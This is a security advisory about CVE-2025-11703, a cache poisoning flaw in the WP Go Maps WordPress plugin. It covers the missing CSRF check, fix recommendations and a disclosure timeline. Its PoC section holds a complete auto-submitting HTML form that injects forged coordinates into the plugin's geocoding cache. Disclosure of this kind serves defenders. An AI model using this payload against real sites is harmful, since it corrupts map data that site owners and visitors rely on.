WP Go Maps is a widely used mapping plugin for WordPress (300k+ installs). CVE-2025-11703 is a server-side cache poisoning flaw in the action=wpgmza_store_nominatim_cache admin-AJAX handler. Instead of performing a trusted server-side geocoding request and caching the authoritative result, the handler accepts two attacker-controlled parameters, query and response, and blindly stores the supplied response JSON as the cached geocode for the specified query. Because the endpoint does not enforce a CSRF nonce and relies only on browser cookies, an attacker can coerce a logged-in privileged user into sending a forged POST that writes arbitrary coordinates, names, and metadata into the plugin’s geocoding cache. Subsequent map lookups for that address will use the poisoned cache entry, leading to persistent integrity corruption in map data visible to all visitors.
| CVE | CVE-2025-11703 |
| Plugin Version | WP Go Maps (formerly WP Google Maps) <= 9.0.48 |
| Critical | High |
| All Time | 25 923 341 |
| Active installations | 300 000+ |
| Publicly Published | October 9, 2025 |
| Last Updated | October 9, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11703 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-maps/wp-go-maps-formerly-wp-google-maps-9048-unauthenticated-cache-poisoning |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| September 12, 2025 | Plugin testing and vulnerability detection in the WP Go Maps (formerly WP Google Maps) have been completed |
| September 12, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| October 22, 2025 | Registered CVE-2025-11703 |
Discovery of the Vulnerability
The issue was identified during a focused review of the plugin’s AJAX surface and its integration with the Nominatim/OpenStreetMap geocoding workflow. While mapping wp_ajax_* actions, the wpgmza_store_nominatim_cache handler stood out because it accepted a response parameter from the client side. Manual analysis of the PHP code confirmed that the handler did not re-query the geocoding service but instead trusted and stored whatever JSON was supplied in response as the cache entry for the corresponding query. Further testing with a minimal HTML form showed that a POST to /wp-admin/admin-ajax.php with action=wpgmza_store_nominatim_cache, a crafted query for “1612 Amphitheatre Parkway”, and a forged responsepayload containing coordinates for Astana was accepted and persisted. Access to the endpoint depended only on the presence of valid WordPress cookies; there was no CSRF nonce verification and no validation of the supplied geocode data.
Understanding of Missing Auth attack’s
In this context, the “missing auth” problem is twofold: the endpoint does not verify the origin of the request via a CSRF token, and it treats client-supplied “response” data as if it were a trusted output from the upstream geocoding provider. In a secure design, only the server should talk to the geocoding API, and cached entries should always reflect server-initiated lookups, never arbitrary client input. Here, any browser session with appropriate cookies can drive wpgmza_store_nominatim_cache, and the plugin has no way to distinguish a legitimate geocode result from a forged one. This trust-of-client combines with the missing CSRF layer to create a classic server-side cache poisoning vector: an attacker does not need API keys or direct access to the Nominatim provider, only the ability to cause a privileged user’s browser to send a crafted POST.
Exploiting the Missing Auth Vulnerability
To exploit CVE-2025-11703, an attacker without cookies:
POC:
<html> <body> <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpgmza_store_nominatim_cache" /> <input type="hidden" name="query" value="{"location":"1612 Amphitheatre Parkway","options":{"address":"1612 Amphitheatre Parkway"}}" /> <input type="hidden" name="response" value="[{"place_id":360259564,"licence":"Data © OpenStreetMap contributors, ODbL 1.0.","osm_type":"node","osm_id":1,"class":"place","type":"house","place_rank":30,"importance":0.0001,"addresstype":"building","name":"Injected to Astana","display_name":"Injected to Astana, 1600 Amphitheatre Parkway","lat":"51.1694","lon":"71.4491","lng":"71.4491","boundingbox":["51.1690","51.1698","71.4487","71.4495"],"geometry":{"location":{"_lat":51.1694,"_lng":71.4491}},"latLng":{"lat":51.1694,"lng":71.4491},"bounds":{"south":51.1690,"north":51.1698,"west":71.4487,"east":71.4495}}]" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>____
Exploitation is straightforward and fully drive-by. The attacker prepares a simple HTML page that auto-submits a form to /wp-admin/admin-ajax.php. The form sets action=wpgmza_store_nominatim_cache, provides a query JSON describing the target address (for example, {"location":"1612 Amphitheatre Parkway","options":{"address":"1612 Amphitheatre Parkway"}}), and includes a forged response array with attacker-chosen display_name, latitude/longitude, and other metadata pointing to a different location (e.g., Astana). When a logged-in administrator (or any role allowed to reach this AJAX action) visits the attacker page, their browser automatically submits the POST with valid WordPress cookies. The plugin accepts the payload, skips any upstream validation, and stores the attacker’s response as the cached geocode. Later, when the site renders maps or performs lookups for that address, the plugin reads from its cache and returns the injected display_name and coordinates instead of the real data, misrouting users and corrupting map output for all visitors, including unauthenticated ones.
Recommendations for Improved Security
To mitigate this vulnerability, the wpgmza_store_nominatim_cache handler should never trust client-supplied responsedata. The server must perform its own geocoding calls and only cache responses obtained from the upstream provider, ignoring or removing any ability for the client to submit arbitrary geocode JSON. The handler should also enforce standard WordPress CSRF protection (check_ajax_referer) and ensure that only authorized users with appropriate capabilities can trigger cache writes. Additionally, cache keys and values should be validated and normalized server-side to prevent malformed or unexpected payloads from being persisted. Finally, the vendor should review other AJAX and REST routes for similar patterns where client input is treated as authoritative backend data, and add logging or monitoring around cache writes so that abnormal geocoding changes can be detected and investigated quickly.
By taking proactive measures to address Missing Auth vulnerabilities like CVE-2025-11703 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
#WordPressSecurity #MissingAuth #WebsiteSafety #StayProtected #HighVulnerability
Use CleanTalk solutions to improve the security of your website
Dmitrii I.